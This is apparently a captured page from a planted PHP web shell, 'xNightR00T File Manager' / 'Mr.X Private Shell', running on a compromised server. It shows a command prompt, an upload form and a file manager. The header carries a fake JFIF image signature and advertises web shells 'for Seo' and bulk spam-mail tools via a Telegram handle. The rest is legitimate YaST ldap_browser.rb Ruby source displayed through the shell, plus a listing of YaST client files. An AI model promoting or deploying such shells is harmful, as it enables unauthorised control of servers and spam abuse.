xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ------------------------------------------------------------------------------
# Copyright (c) 2006-2012 Novell, Inc. All Rights Reserved.
#
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of version 2 of the GNU General Public License as published by the
# Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail, you may find
# current contact information at www.novell.com.
# ------------------------------------------------------------------------------

# File:	clients/ldap/ldap_browser.ycp
# Package:	Configuration of LDAP
# Summary:	Simple browser and editor of LDAP tree
# Author:	Jiri Suchomel <jsuchome@suse.cz>
#
# $Id$
#
module Yast
  class LdapBrowserClient < Client
    def main
      Yast.import "UI"
      Yast.import "CommandLine"
      Yast.import "Directory"
      Yast.import "FileUtils"
      Yast.import "Label"
      Yast.import "Ldap"
      Yast.import "LdapPopup"
      Yast.import "Popup"
      Yast.import "Wizard"

      textdomain "ldap"

      @cmdline = { "id" => "ldap_browser", "mappings" => {} }
      if Ops.greater_than(Builtins.size(WFM.Args), 0)
        return CommandLine.Run(@cmdline)
      end

      @root_dn = ""
      @current_dn = ""
      @data = {}
      @tmp_data = {}
      # map of already read subtrees
      @dns = {}
      @subdns = []
      @tree_items = []
      @topdns = {}
      @open_items = {}

      @help_text =
        # general help text for LDAP browser
        _("<p>Browse the LDAP tree in the left part of the dialog.</p>") +
          # help text for LDAP browser
          _(
            "<p>Once the LDAP object is selected in the tree, the table shows the object data. Use <b>Edit</b> to change the value of the selected attribute. Use <b>Save</b> to save your changes to LDAP.</p>"
          )

      # popup question (Continue/Cancel follows)
      @unsaved = _(
        "There are unsaved changes in the current entry.\nDiscard these changes?\n"
      )

      @contents = HBox(
        HWeight(1, ReplacePoint(Id(:treeContents), Top(HBox()))),
        HWeight(1, ReplacePoint(Id(:entryContents), Top(HBox())))
      )
      @display_info = UI.GetDisplayInfo
      @textmode = Ops.get_boolean(@display_info, "TextMode", false)

      Wizard.CreateDialog

      Wizard.SetDesktopTitleAndIcon("ldap_browser")
      # dialog caption
      Wizard.SetContentsButtons(
        _("LDAP Browser"),
        @contents,
        @help_text,
        "",
        Label.CloseButton
      )

      Wizard.HideBackButton
      Wizard.HideAbortButton

      # read current LDAP configuration
      Ldap.Read

      @configurations = []
      @configurations_file = Directory.vardir + "/ldap_servers.ycp"
      # combobox item
      @default_name = _("Current LDAP Client settings")
      @configuration = {
        "server"   => Ldap.GetFirstServer(Ldap.server),
        "bind_dn"  => Ldap.GetBindDN,
        "ldap_tls" => Ldap.ldap_tls,
        "name"     => @default_name
      }
      # read configuration of LDAP browser
      if FileUtils.Exists(@configurations_file)
        @configurations = Convert.to_list(
          SCR.Read(path(".target.ycp"), @configurations_file)
        )
        if @configurations == nil || !Ops.is_list?(@configurations)
          @configurations = []
        end
      end
      @configurations = [@configuration] if @configurations == []

      @configuration = Ops.get_map(@configurations, 0, {})
      # ask which LDAP connection to choose
      UI.OpenDialog(
        Opt(:decorated),
        HBox(
          HSpacing(0.2),
          VBox(
            VSpacing(0.2),
            HSpacing(40),
            HBox(
              ReplacePoint(
                Id(:rpcombo),
                ComboBox(
                  Id(:configs),
                  Opt(:hstretch, :notify),
                  # combo box label
                  _("LDAP Connections"),
                  []
                )
              ),
              VBox(Label(""), PushButton(Id(:add), Label.AddButton)),
              VBox(Label(""), PushButton(Id(:delete), Label.DeleteButton))
            ),
            # textentry label
            InputField(
              Id("server"),
              Opt(:hstretch, :notify),
              _("LDAP Server"),@configuration["server"]
            ),
            InputField(
              Id("bind_dn"),
              Opt(:hstretch, :notify),
              # textentry label
              _("Administrator DN"),@configuration["bind_dn"]
            ),
            # password entering label
            Password(Id("pw"), Opt(:hstretch), _("&LDAP Server Password")),
            VSpacing(0.2),
            # check box label
            Left(
              CheckBox(
                Id("ldap_tls"),
                Opt(:notify),
                _("L&DAP TLS"),["yes", "true"].include?(@configuration["ldap_tls"])
              )
            ),
            ButtonBox(
              PushButton(Id(:ok), Opt(:key_F10, :default), Label.OKButton),
              # button label
              PushButton(Id(:anon), Opt(:key_F6), _("A&nonymous Access")),
              PushButton(Id(:cancel), Opt(:key_F9), Label.CancelButton)
            ),
            VSpacing(0.2)
          ),
          HSpacing(0.2)
        )
      )

      @current_name = Ops.get_string(@configuration, "name", "")
      update_connection_items(@current_name)
      @ret = nil
      while true
        @ret = UI.UserInput
        @conf = Convert.to_integer(UI.QueryWidget(Id(:configs), :Value))

        # save configuration currently selected before switching to new one
        if @ret == :ok || @ret == :anon || Ops.is_string?(@ret)
          @configuration = Ops.get_map(@configurations, @conf, {})
          @current_name = Ops.get_string(@configuration, "name", "")
          if @current_name != @default_name
            Builtins.foreach(["server", "bind_dn", "ldap_tls"]) do |s|
              Ops.set(@configuration, s, UI.QueryWidget(Id(s), :Value))
            end
            @i = -1
            @configurations = Builtins.maplist(
              Convert.convert(
                @configurations,
                :from => "list",
                :to   => "list <map>"
              )
            ) do |c|
              @i = Ops.add(@i, 1)
              @i == @conf ? @configuration : c
            end
          end
        end
        if @ret == :configs
          @configuration = Ops.get_map(@configurations, @conf, {})
          @current_name = Ops.get_string(@configuration, "name", "")
          UI.ChangeWidget(Id(:delete), :Enabled, @current_name != @default_name)
          Builtins.foreach(["server", "bind_dn", "ldap_tls"]) do |s|
            UI.ChangeWidget(Id(s), :Enabled, @current_name != @default_name)
            UI.ChangeWidget(
              Id(s),
              :Value,
              s == "ldap_tls" ?
                Ops.get_boolean(@configuration, s, false) :
                Ops.get_string(@configuration, s, "")
            )
          end
        end
        if @ret == :add
          UI.OpenDialog(
            Opt(:decorated),
            HBox(
              HSpacing(0.2),
              VBox(
                VSpacing(0.2),
                InputField(
                  Id(:new),
                  # InputField label
                  _("Enter the name of the new LDAP connection")
                ),
                ButtonBox(
                  PushButton(Id(:ok), Opt(:default), Label.OKButton),
                  PushButton(Id(:cancel), Label.CancelButton)
                )
              ),
              HSpacing(0.2)
            )
          )
          @r = UI.UserInput
          @new = Convert.to_string(UI.QueryWidget(Id(:new), :Value))
          UI.CloseDialog
          next if @r == :cancel || @new == ""
          @configuration = { "name" => @new }
          @configurations = Builtins.add(@configurations, @configuration)
          update_connection_items(@new)
        end
        if @ret == :delete
          @configurations = Builtins.remove(@configurations, @conf)
          update_connection_items(@default_name)
        end
        if @ret == :ok || @ret == :anon
          Ldap.server = Convert.to_string(UI.QueryWidget(Id("server"), :Value))
          Ldap.bind_dn = Convert.to_string(
            UI.QueryWidget(Id("bind_dn"), :Value)
          )
          Ldap.bind_pass = Convert.to_string(UI.QueryWidget(Id("pw"), :Value))
          Ldap.ldap_tls = Convert.to_boolean(
            UI.QueryWidget(Id("ldap_tls"), :Value)
          )
          Ldap.SetAnonymous(@ret == :anon)

          @error = Ldap.LDAPInitWithTLSCheck({})
          if @error != ""
            Ldap.LDAPErrorMessage("init", @error)
            next
          end

          @error = Ldap.LDAPBind(Ldap.bind_pass)
          if @error != ""
            Ldap.LDAPErrorMessage("bind", @error)
            next
          end
          @error = Ldap.InitSchema
          if @error != ""
            Ldap.LDAPErrorMessage("schema", @error)
            next
          end
          break
        end
        break if @ret == :cancel
      end
      UI.CloseDialog
      if @ret == :cancel
        Wizard.CloseDialog
        return deep_copy(@ret)
      end
      SCR.Write(path(".target.ycp"), @configurations_file, @configurations)

      # LDAP initialized, we can open the browser now

      set_tree_term

      @current_dn = Convert.to_string(UI.QueryWidget(Id(:tree), :CurrentItem))
      @current_dn = "" if @current_dn == nil

      set_entry_term
      UI.SetFocus(Id(:tree)) if @textmode

      @result = :notnext
      @current = :ldaptree

      while true
        @event = UI.WaitForEvent
        @result = Ops.get_symbol(@event, "ID")

        @result = :not_next if @result == :cancel && !Popup.ReallyAbort(false)

        break if @result == :back || @result == :cancel

        @result = :tree if @result == :open

        @current_dn = Convert.to_string(UI.QueryWidget(Id(:tree), :CurrentItem))
        @current_dn = "" if @current_dn == nil

        # switch to different entry while current was modified
        if @result == :tree && Modified()
          if Popup.ContinueCancel(@unsaved)
            # discard the changes
            @tmp_data = {}
          else
            @result = :not_next
            next
          end
        end

        # events in tree
        if @result == :tree
          if !Ops.get(@dns, @current_dn, false)
            UI.BusyCursor
            @subdns = Convert.convert(
              SCR.Read(
                path(".ldap.search"),
                {
                  "base_dn"      => @current_dn,
                  "scope"        => 1,
                  "dn_only"      => true,
                  "not_found_ok" => true
                }
              ),
              :from => "any",
              :to   => "list <string>"
            )
            if @subdns == nil
              Builtins.y2warning(
                "the search for %1 returned nil...",
                @current_dn
              )
              next
            else
              @subdns = Builtins.sort(@subdns)
            end
            Ops.set(@dns, @current_dn, true)
            if Ops.greater_than(Builtins.size(@subdns), 0)
              # TODO if size (subdns) > 0) || dn has glyph
              @open_items = Convert.to_map(UI.QueryWidget(:tree, :OpenItems))
              @tree_items = update_items(@tree_items)
              UI.ReplaceWidget(
                Id(:reptree),
                @textmode ?
                  Tree(Id(:tree), @root_dn, @tree_items) :
                  Tree(Id(:tree), Opt(:notify), @root_dn, @tree_items)
              )
              UI.ChangeWidget(Id(:tree), :CurrentItem, @current_dn)
              @open_items = {}
            end
            @current_dn = Convert.to_string(
              UI.QueryWidget(Id(:tree), :CurrentItem)
            )
            @current_dn = "" if @current_dn == nil
          end
          @data = Ldap.GetLDAPEntry(@current_dn)
          @tmp_data = {}
          set_entry_term
          UI.NormalCursor
          UI.SetFocus(Id(:tree)) if @textmode
        end

        if @result == :reload
          @tree_items = []
          @open_items = {}
          @dns = {}
          @topdns = {}
          @subdns = []
          @root_dn = ""
          set_tree_term
        end
        # events in Edit Entry part
        @result = :table if @result == :edit
        if @result == :table &&
            Ops.get_string(@event, "EventReason", "") == "SelectionChanged"
          @attr = Convert.to_string(UI.QueryWidget(Id(:table), :CurrentItem))
          @enable = true
          if Ops.less_than(Builtins.size(@attr), Builtins.size(@current_dn)) &&
              Builtins.substring(
                @current_dn,
                0,
                Ops.add(Builtins.size(@attr), 1)
              ) ==
                Ops.add(@attr, "=")
            Builtins.y2debug("disabling %1 for editing...", @attr)
            @enable = false
          end
          @enable = false if @attr == "objectClass"
          UI.ChangeWidget(Id(:edit), :Enabled, @enable)
        elsif @result == :table
          @attr = Convert.to_string(UI.QueryWidget(Id(:table), :CurrentItem))
          if UI.QueryWidget(Id(:edit), :Enabled) == false
            Builtins.y2milestone(
              "editing the value of attribute '%1' is not allowed",
              @attr
            )
            @result = :notnext
            next
          end
          @value = Ops.get_list(
            @tmp_data,
            @attr,
            Ops.get_list(@data, @attr, [])
          )
          @value = LdapPopup.EditAttribute(
            {
              "attr"   => @attr,
              "value"  => @value,
              "single" => Ldap.SingleValued(@attr)
            }
          )
          if @value ==
              Ops.get_list(@tmp_data, @attr, Ops.get_list(@data, @attr, []))
            @result = :notnext
            next
          end
          UI.ChangeWidget(
            Id(:table),
            term(:Item, @attr, 1),
            Builtins.mergestring(@value, ",")
          )
          UI.ChangeWidget(Id(:save), :Enabled, true)
          Ops.set(@tmp_data, @attr, @value)
        end
        if @result == :save
          if Modified()
            @cont = false
            Builtins.foreach(Ops.get_list(@data, "objectClass", [])) do |oc|
              next if @cont
              Builtins.foreach(Ldap.GetRequiredAttributes(oc)) do |attr|
                val = Ops.get(@tmp_data, attr)
                if !@cont && (val == [] || val == "")
                  #error popup, %1 is attribute name
                  Popup.Error(
                    Builtins.sformat(
                      _("The \"%1\" attribute is mandatory.\nEnter a value."),
                      attr
                    )
                  )
                  UI.SetFocus(Id(:table))
                  @cont = true
                end
              end
            end
            if @cont
              @result = :not_next
              next
            end
            if Ops.get_string(@tmp_data, "modified", "") == ""
              Ops.set(@tmp_data, "modified", "edited")
            end
            if Ldap.WriteLDAP({ @current_dn => @tmp_data })
              @tmp_data = {}
              UI.ChangeWidget(Id(:save), :Enabled, false)
            end
          end
        end

        # general events
        if @result == :next
          if Modified() && !Popup.ContinueCancel(@unsaved)
            @result = :not_next
            next
          end
          break
        end
      end
      Wizard.CloseDialog
      :finish
    end

    # helper: data modified?
    def Modified
      Ops.greater_than(Builtins.size(@tmp_data), 0)
    end

    # helper: Get RDN (relative distinguished name) from dn
    def get_rdn(dn)
      dn_list = Builtins.splitstring(dn, ",")
      Ops.get_string(dn_list, 0, dn)
    end

    # helper: create the value that should be shown instead of whole DN in tree
    def show_dn(dn)
      return dn if Ops.get_boolean(@topdns, dn, false)
      get_rdn(dn)
    end

    # helper for set_tree_term function: create new items for subtrees
    def update_items(its)
      its = deep_copy(its)
      Builtins.maplist(its) do |it|
        dn = Ops.get_string(it, [0, 0], "")
        if dn == @current_dn
          next Item(Id(dn), show_dn(dn), true, Builtins.maplist(@subdns) do |k|
            Item(Id(k), show_dn(k), false, [])
          end)
        end
        last = Ops.subtract(Builtins.size(it), 1)
        next deep_copy(it) if Builtins.size(Ops.get_list(it, last, [])) == 0
        # `OpenItems doesn't work in ncurses...
        open = Builtins.haskey(@open_items, dn) && !@textmode
        Item(
          Id(dn),
          show_dn(dn),
          open,
          update_items(Ops.get_list(it, last, []))
        )
      end
    end

    # -----------------------------
    # create the term with LDAP tree
    def set_tree_term
      cont = HBox(
        VSpacing(20),
        VBox(
          HSpacing(70),
          VSpacing(0.2),
          HBox(
            HSpacing(),
            ReplacePoint(Id(:reptree), Tree(Id(:tree), @root_dn, [])),
            ReplacePoint(Id(:repbuttons), Empty()),
            HSpacing()
          ),
          HBox(
            HSpacing(1.5),
            HStretch(),
            @textmode ?
              # button label
              PushButton(Id(:open), Opt(:key_F6), _("&Open")) :
              Empty(),
            # button label
            PushButton(Id(:reload), Opt(:key_F8), _("&Reload")),
            HSpacing(1.5)
          ),
          VSpacing(0.6)
        )
      )

      UI.ReplaceWidget(:treeContents, cont)

      if Builtins.size(@tree_items) == 0
        out = Convert.convert(
          SCR.Read(
            path(".ldap.search"),
            {
              "base_dn"      => @root_dn,
              "scope"        => 1,
              "dn_only"      => true,
              "not_found_ok" => true
            }
          ),
          :from => "any",
          :to   => "list <string>"
        )
        if Ops.greater_than(Builtins.size(out), 0)
          @tree_items = Builtins.maplist(out) do |dn|
            Ops.set(@dns, dn, false)
            Ops.set(@topdns, dn, true)
            Item(Id(dn), dn, false, [])
          end
        end
      end

      if Ops.greater_than(Builtins.size(@tree_items), 0)
        UI.ReplaceWidget(
          Id(:reptree),
          @textmode ?
            Tree(Id(:tree), @root_dn, @tree_items) :
            Tree(Id(:tree), Opt(:notify), @root_dn, @tree_items)
        )
        # no item is selected
        UI.ChangeWidget(:tree, :CurrentItem, nil)
      elsif @root_dn == ""
        bases = Convert.to_list(
          SCR.Read(
            path(".ldap.search"),
            { "base_dn" => "", "scope" => 0, "attrs" => ["namingContexts"] }
          )
        )
        if Ops.greater_than(Builtins.size(bases), 0)
          @tree_items = Builtins.maplist(
            Ops.get_list(bases, [0, "namingContexts"], [])
          ) do |dn|
            Ops.set(@topdns, dn, true)
            Item(Id(dn), dn, false, [])
          end
        end
        if Ops.greater_than(Builtins.size(@tree_items), 0)
          UI.ReplaceWidget(
            Id(:reptree),
            @textmode ?
              Tree(Id(:tree), @root_dn, @tree_items) :
              Tree(Id(:tree), Opt(:notify), @root_dn, @tree_items)
          )
          UI.ChangeWidget(:tree, :CurrentItem, nil)
        end
        if Builtins.size(@topdns) == 1
          @root_dn = Ops.get_string(bases, [0, "namingContexts", 0], "")
        end
      end

      UI.SetFocus(Id(:tree)) if @textmode

      UI.ChangeWidget(Id(:tree), :CurrentItem, @current_dn) if @current_dn != ""

      nil
    end

    # -----------------------------
    # create the term with LDAP entry data table
    def set_entry_term
      items = []

      # generate table items from already existing values
      Builtins.foreach(
        Convert.convert(@data, :from => "map", :to => "map <string, any>")
      ) do |attr, val|
        next if Ops.is_map?(val) || val == nil
        value = []
        if Ops.is_list?(val)
          value = Convert.convert(val, :from => "any", :to => "list <string>")
        end
        if Ops.is_byteblock?(val) ||
            Ops.is_list?(val) && Ops.is_byteblock?(Ops.get(value, 0))
          Builtins.y2warning("binary value (%1) cannot be edited", attr)
          next
        elsif Ops.is_integer?(val)
          value = [Builtins.sformat("%1", val)]
          Ops.set(@data, attr, value)
        elsif Ops.is_string?(val)
          value = [Convert.to_string(val)]
          Ops.set(@data, attr, value)
        end
        items = Builtins.add(
          items,
          Item(Id(attr), attr, Builtins.mergestring(value, ","))
        )
      end

      # generate table items with empty values
      # (not set for this user/group yet)
      # we need to read available attributes from Ldap
      Builtins.foreach(
        Convert.convert(
          Builtins.sort(Ops.get_list(@data, "objectClass", [])),
          :from => "list",
          :to   => "list <string>"
        )
      ) do |_class|
        Builtins.foreach(
          Convert.convert(
            Ldap.GetAllAttributes(_class),
            :from => "list",
            :to   => "list <string>"
          )
        ) do |at|
          if !Builtins.haskey(@data, at)
            Ops.set(@data, at, [])
            items = Builtins.add(items, Item(Id(at), at, ""))
          end
        end
      end

      cont = HBox(
        HSpacing(1.5),
        VBox(
          Left(Label(@current_dn)),
          Table(
            Id(:table),
            Opt(:notify, :immediate),
            Header(
              # table header 1/2
              _("Attribute") + "  ",
              # table header 2/2
              _("Value")
            ),
            items
          ),
          HBox(
            PushButton(Id(:edit), Opt(:key_F4), Label.EditButton),
            HStretch(),
            PushButton(Id(:save), Opt(:key_F2), Label.SaveButton)
          ),
          VSpacing(0.5)
        ),
        HSpacing(1.5)
      )

      UI.ReplaceWidget(:entryContents, cont)

      if Builtins.size(items) == 0
        UI.ChangeWidget(Id(:edit), :Enabled, false)
      else
        # no item is selected
        UI.ChangeWidget(:table, :CurrentItem, nil)
      end

      UI.ChangeWidget(Id(:edit), :Enabled, false)
      UI.ChangeWidget(Id(:save), :Enabled, false)
      UI.SetFocus(Id(:table))

      nil
    end

    # helper function: generate items for combo box
    def connection_items(selected)
      i = -1
      Builtins.maplist(
        Convert.convert(@configurations, :from => "list", :to => "list <map>")
      ) do |conf|
        i = Ops.add(i, 1)
        Item(
          Id(i),
          Ops.get_string(conf, "name", ""),
          Ops.get_string(conf, "name", "") == selected
        )
      end
    end

    # update the combo box with LDAP connections list
    def update_connection_items(selected)
      UI.ChangeWidget(Id(:delete), :Enabled, selected != @default_name)
      UI.ReplaceWidget(
        Id(:rpcombo),
        ComboBox(
          Id(:configs),
          Opt(:hstretch, :notify),
          # combo box label
          _("LDAP Connections"),
          connection_items(selected)
        )
      )
      Builtins.foreach(["server", "bind_dn", "ldap_tls"]) do |s|
        UI.ChangeWidget(Id(s), :Enabled, selected != @default_name)
        UI.ChangeWidget(
          Id(s),
          :Value,
          s == "ldap_tls" ?
            Ops.get_boolean(@configuration, s, false) :
            Ops.get_string(@configuration, s, "")
        )
      end

      nil
    end
  end
end

Yast::LdapBrowserClient.new.main

Filemanager

Name Type Size Permission Actions
OneClickInstallCLI.rb File 6.29 KB 0644
OneClickInstallUI.rb File 20.1 KB 0644
OneClickInstallUrlHandler.rb File 637 B 0644
OneClickInstallWorker.rb File 5.53 KB 0644
add-on.rb File 4.81 KB 0644
add-on_auto.rb File 10.01 KB 0644
add-on_proposal.rb File 2.42 KB 0644
add_inst_source_slptype.rb File 918 B 0644
audit-laf.rb File 11.39 KB 0644
audit-laf_auto.rb File 3.95 KB 0644
audit-laf_proposal.rb File 3.41 KB 0644
auth-client.rb File 1.07 KB 0644
auth-client_auto.rb File 1013 B 0644
auth-server.rb File 7.89 KB 0644
auth-server_auto.rb File 3.02 KB 0644
auth-server_proposal.rb File 12.25 KB 0644
auth.rb File 1.15 KB 0644
autoinst_scripts1_finish.rb File 1.55 KB 0644
autoinst_scripts2_finish.rb File 2.17 KB 0644
autoinst_test_clone.rb File 1017 B 0644
autoinst_test_stage.rb File 1.53 KB 0644
autoyast.rb File 4.09 KB 0644
ayast_probe.rb File 3.29 KB 0644
ayast_setup.rb File 4.76 KB 0644
backup_proposal.rb File 3.61 KB 0644
bootloader.rb File 1.13 KB 0644
bootloader_auto.rb File 63 B 0644
bootloader_finish.rb File 65 B 0644
bootloader_proposal.rb File 71 B 0644
ca-mgm.rb File 1.16 KB 0644
ca_mgm.rb File 7.43 KB 0644
ca_mgm_auto.rb File 37.21 KB 0644
ca_mgm_proposal.rb File 16.46 KB 0644
ca_select_proposal.rb File 18.54 KB 0644
cd_update.rb File 1.13 KB 0644
checkmedia.rb File 1.13 KB 0644
cio_ignore_finish.rb File 92 B 0644
cio_ignore_proposal.rb File 94 B 0644
classes_auto.rb File 2.07 KB 0644
clone_system.rb File 4.33 KB 0644
common-cert.rb File 1.18 KB 0644
common_cert.rb File 6.85 KB 0644
complete_workflow.rb File 1.38 KB 0644
copy_files_finish.rb File 86 B 0644
copy_logs_finish.rb File 76 B 0644
copy_systemfiles_finish.rb File 98 B 0644
country_simple_proposal.rb File 3.29 KB 0644
default_target_finish.rb File 1.16 KB 0644
default_target_proposal.rb File 8.72 KB 0644
deploy_image_auto.rb File 86 B 0644
deploying_proposal.rb File 89 B 0644
desktop_finish.rb File 81 B 0644
dhcp-server.rb File 1.14 KB 0644
dhcp-server_auto.rb File 4.68 KB 0644
discover_registration_services.rb File 1.03 KB 0644
disintegrate_all_extensions.rb File 106 B 0644
disk.rb File 2.91 KB 0644
disk_worker.rb File 4.06 KB 0644
dns-server.rb File 1.1 KB 0644
dns-server_auto.rb File 2.89 KB 0644
dns.rb File 8.35 KB 0644
dns_auto.rb File 3.37 KB 0644
do_not_show_again_editor.rb File 3.49 KB 0644
do_online_update_auto.rb File 3.27 KB 0644
driver_update1_finish.rb File 94 B 0644
driver_update2_finish.rb File 94 B 0644
files_auto.rb File 10.82 KB 0644
firewall.rb File 3.15 KB 0644
firewall_auto.rb File 4.15 KB 0644
firewall_proposal.rb File 9.86 KB 0644
firewall_stage1_finish.rb File 5.71 KB 0644
firewall_stage1_proposal.rb File 16.24 KB 0644
ftp-server.rb File 40.97 KB 0644
ftp-server_auto.rb File 3.56 KB 0644
general_auto.rb File 1.83 KB 0644
groups.rb File 9.29 KB 0644
host.rb File 3.32 KB 0644
host_auto.rb File 4.33 KB 0644
http-server.rb File 18.42 KB 0644
http-server_auto.rb File 3.1 KB 0644
inetd.rb File 13.52 KB 0644
inetd_auto.rb File 4.63 KB 0644
inetd_proposal.rb File 3.07 KB 0644
inst_add-on.rb File 5 KB 0644
inst_add-on_software.rb File 3.3 KB 0644
inst_addon_update_sources.rb File 101 B 0644
inst_ask_online_update.rb File 95 B 0644
inst_autoconfigure.rb File 19.7 KB 0644
inst_autoimage.rb File 1.85 KB 0644
inst_autoinit.rb File 6.47 KB 0644
inst_autopost.rb File 8.47 KB 0644
inst_autosetup.rb File 17.36 KB 0644
inst_autosetup_upgrade.rb File 17.05 KB 0644
inst_backup.rb File 7.77 KB 0644
inst_bootloader.rb File 1.18 KB 0644
inst_check_autoinst_mode.rb File 99 B 0644
inst_check_memsize.rb File 658 B 0644
inst_checkmedia.rb File 3.31 KB 0644
inst_complex_welcome.rb File 92 B 0644
inst_congratulate.rb File 87 B 0644
inst_custom_packages.rb File 2.91 KB 0644
inst_custom_part.rb File 1.17 KB 0644
inst_custom_patterns.rb File 94 B 0644
inst_deploy_image.rb File 86 B 0644
inst_desktop_roles.rb File 98 B 0644
inst_disk.rb File 2.55 KB 0644
inst_disk_for_image.rb File 89 B 0644
inst_disk_proposal.rb File 12.58 KB 0644
inst_disks_activate.rb File 90 B 0644
inst_do_net_test.rb File 28.83 KB 0644
inst_doit.rb File 71 B 0644
inst_download_release_notes.rb File 105 B 0644
inst_extrasources.rb File 87 B 0644
inst_features.rb File 79 B 0644
inst_finish.rb File 75 B 0644
inst_info.rb File 71 B 0644
inst_initialization.rb File 91 B 0644
inst_install_inf.rb File 85 B 0644
inst_installation_options.rb File 87 B 0644
inst_instsys_cleanup.rb File 99 B 0644
inst_iscsi-client.rb File 3.46 KB 0644
inst_keyboard_root_password.rb File 108 B 0644
inst_kickoff.rb File 19.83 KB 0644
inst_lan.rb File 2.24 KB 0644
inst_language.rb File 1.36 KB 0644
inst_language_add-on.rb File 12.54 KB 0644
inst_license.rb File 77 B 0644
inst_mediacopy.rb File 4.17 KB 0644
inst_network_check.rb File 88 B 0644
inst_pre_install.rb File 84 B 0644
inst_prepare_image.rb File 88 B 0644
inst_prepareprogress.rb File 93 B 0644
inst_prepdisk.rb File 5.8 KB 0644
inst_productsources.rb File 50.93 KB 0644
inst_proposal.rb File 1008 B 0644
inst_release_notes.rb File 88 B 0644
inst_resize_dialog.rb File 17.82 KB 0644
inst_resize_ui.rb File 30.46 KB 0644
inst_restore_settings.rb File 94 B 0644
inst_root_first.rb File 1007 B 0644
inst_rootpart.rb File 1.57 KB 0644
inst_rpmcopy.rb File 18.49 KB 0644
inst_rpmcopy_secondstage.rb File 100 B 0644
inst_save_hardware_status.rb File 101 B 0644
inst_scc.rb File 10.61 KB 0644
inst_scenarios.rb File 81 B 0644
inst_setup_dhcp.rb File 73 B 0644
inst_ssh_import.rb File 843 B 0644
inst_store_upgrade_software.rb File 3.98 KB 0644
inst_sw_select.rb File 1.77 KB 0644
inst_system_analysis.rb File 92 B 0644
inst_system_role.rb File 81 B 0644
inst_target_part.rb File 17.41 KB 0644
inst_target_selection.rb File 11.7 KB 0644
inst_test_workflow.rb File 949 B 0644
inst_timezone.rb File 2.36 KB 0644
inst_update.rb File 8.52 KB 0644
inst_update_installer.rb File 732 B 0644
inst_update_partition.rb File 1.86 KB 0644
inst_update_partition_auto.rb File 1.27 KB 0644
inst_upgrade_urls.rb File 86 B 0644
inst_user_first.rb File 1007 B 0644
inst_welcome.rb File 77 B 0644
inst_worker_continue.rb File 92 B 0644
inst_worker_initial.rb File 90 B 0644
inst_you.rb File 11.74 KB 0644
installation.rb File 78 B 0644
installation_settings_finish.rb File 108 B 0644
instserver.rb File 1.44 KB 0644
iscsi-client.rb File 3.1 KB 0644
iscsi-client_auto.rb File 4.1 KB 0644
iscsi-client_finish.rb File 3.46 KB 0644
iscsi-client_proposal.rb File 3.51 KB 0644
isns.rb File 2.13 KB 0644
isns_auto.rb File 2.96 KB 0644
isns_finish.rb File 1.9 KB 0644
isns_proposal.rb File 2.59 KB 0644
kdump.rb File 41.7 KB 0644
kdump_auto.rb File 2.66 KB 0644
kdump_finish.rb File 62 B 0644
kdump_proposal.rb File 3.11 KB 0644
kernel_finish.rb File 79 B 0644
key_manager.rb File 2.29 KB 0644
keyboard.rb File 5.48 KB 0644
keyboard_auto.rb File 3.16 KB 0644
keyboard_proposal.rb File 3 KB 0644
keyboard_simple_proposal.rb File 1.41 KB 0644
lan.rb File 6.23 KB 0644
lan_auto.rb File 12.98 KB 0644
language.rb File 9.12 KB 0644
language_auto.rb File 3.11 KB 0644
language_proposal.rb File 4.14 KB 0644
language_simple_proposal.rb File 1.6 KB 0644
ldap_browser.rb File 23.65 KB 0644
ldap_config.rb File 1.93 KB 0644
ldapkrb.rb File 1.1 KB 0644
ldconfig_finish.rb File 83 B 0644
mail.rb File 2.87 KB 0644
mail_auto.rb File 3.12 KB 0644
media_proposal.rb File 2.51 KB 0644
menu.rb File 12.75 KB 0644
migration.rb File 65 B 0644
migration_finish.rb File 732 B 0644
migration_proposal.rb File 715 B 0644
migration_proposals.rb File 1.19 KB 0644
migration_repos.rb File 730 B 0644
multipath-simple.rb File 1.21 KB 0644
network.rb File 4.3 KB 0644
network_finish.rb File 81 B 0644
network_proposal.rb File 69 B 0644
nfs-client.rb File 231 B 0644
nfs-client4part.rb File 2.63 KB 0644
nfs-server.rb File 277 B 0644
nfs.rb File 10.04 KB 0644
nfs_auto.rb File 2.54 KB 0644
nfs_server.rb File 9.59 KB 0644
nfs_server_auto.rb File 2.67 KB 0644
nis-client.rb File 1.16 KB 0644
nis-server.rb File 1.16 KB 0644
nis.rb File 7.99 KB 0644
nis_auto.rb File 3.05 KB 0644
nis_server.rb File 12.72 KB 0644
nis_server_auto.rb File 3.82 KB 0644
ntp-client.rb File 1.24 KB 0644
ntp-client_auto.rb File 3.92 KB 0644
ntp-client_finish.rb File 2.43 KB 0644
ntp-client_proposal.rb File 14.53 KB 0644
online_update.rb File 12.58 KB 0644
online_update_install.rb File 4.93 KB 0644
online_update_select.rb File 12.06 KB 0644
openldap-mirrormode.rb File 1.57 KB 0644
other_tools_warning.rb File 1.85 KB 0644
packages_proposal.rb File 7.64 KB 0644
partitions_proposal.rb File 8.99 KB 0644
pkg_finish.rb File 216 B 0644
pre_umount_finish.rb File 86 B 0644
prep_shrink_finish.rb File 94 B 0644
printer.rb File 3.03 KB 0644
printer_auto.rb File 17.76 KB 0644
printer_proposal.rb File 21.77 KB 0644
proxy.rb File 66 B 0644
proxy_auto.rb File 75 B 0644
proxy_finish.rb File 77 B 0644
